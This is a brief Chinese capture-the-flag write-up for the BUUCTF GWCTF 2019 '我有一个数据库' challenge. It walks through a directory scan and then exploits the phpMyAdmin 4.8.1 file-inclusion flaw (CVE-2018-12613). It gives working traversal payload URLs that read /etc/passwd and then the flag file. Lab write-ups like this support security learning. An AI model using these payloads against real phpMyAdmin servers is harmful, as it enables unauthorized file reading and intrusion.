BUUCTF[GWCTF 2019]我有一个数据库 1
作者：互联网
考点：
1.目录扫描
2.phpmyadmin 4.8.1漏洞
开启靶场
查看源码，抓包都没发现什么。御剑进行扫描。
都看一下
这俩都没啥作用，那么就在/phpmyadmin/里
里面也没我们需要的东西，网上搜搜关于phpmyadmin版本的漏洞
【首发】phpmyadmin4.8.1后台getshell (qq.com)
cve-2018-12613-PhpMyadmin后台文件包含 - 简书 (jianshu.com)
（学习这两篇后，发现确实存在漏洞，构造payload）
payload: /phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../etc/passwd
成功读取，尝试将文件改为flag.
payload: /phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag
得到flag。
标签：phpmyadmin,BUUCTF,..,flag,datadict,漏洞,GWCTF,2019,payload 来源： https://www.cnblogs.com/l0y0h/p/15460386.html